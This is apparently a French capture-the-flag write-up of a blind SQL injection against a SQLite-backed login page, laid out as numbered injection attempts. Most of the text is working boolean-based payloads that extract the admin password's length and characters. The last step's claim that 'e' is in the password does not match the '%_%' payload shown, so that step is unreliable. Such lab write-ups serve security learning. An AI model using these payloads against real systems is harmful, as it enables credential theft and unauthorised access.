| 17/02/2022 | SQL injection - En aveugle | |
|---|---|---|
Recherche du point d'entrée
Injection 1
Warning: SQLite3::query(): Unable to prepare statement: 1, near "' and password='": syntax error in /challenge/web-serveur/ch10/index.php 
 
La base SQL est de type SQLITE3. Le nom de la colonne de mot de passe est : password.
Injection 2
Connecté en tant que : user1.

Injection 3

Injection 4
Avec case = False
 
Avec case = False
 
Le case fonctionne, trouvons une manière de l'exploiter.
Injection 5
Login : a
Password : a' or '1'='1' limit 1 offset case when((select password from users where username='admin') = "password") then 1 else 2 end ; --

Injection 6
Login : a
Password : a' or '1'='1' limit 1 offset case when((select length(password) from users where username='admin') < 10 ) then 1 else 2 end ; --
 
Condition = true.
Injection 7
Login : a
Password : a' or '1'='1' limit 1 offset case when((select length(password) from users where username='admin') > 5 ) then 1 else 2 end ; --

Condition = true.
Injection 8
Login : a
Password : a' or '1'='1' limit 1 offset case when((select length(password) from users where username='admin') < 8 ) then 1 else 2 end ; --

Condition = false.
Injection 9
Login : a
Password : a' or '1'='1' limit 1 offset case when((select length(password) from users where username='admin') = 8 ) then 1 else 2 end ; --
 
Condition = true.
La condition est validé, le mot de passe admin à une longueur de 8 caractères.
Injection 10
Login : a
Password : a' or '1'='1' limit 1 offset case when((select password from users where username='admin') like "%_%" ) then 1 else 2 end ; --

Condition = true.
On peu comprendre que la lettre e est comprise dans le mot de passe. Il ne reste plus qu'a créer un script python pour automatiser les tests.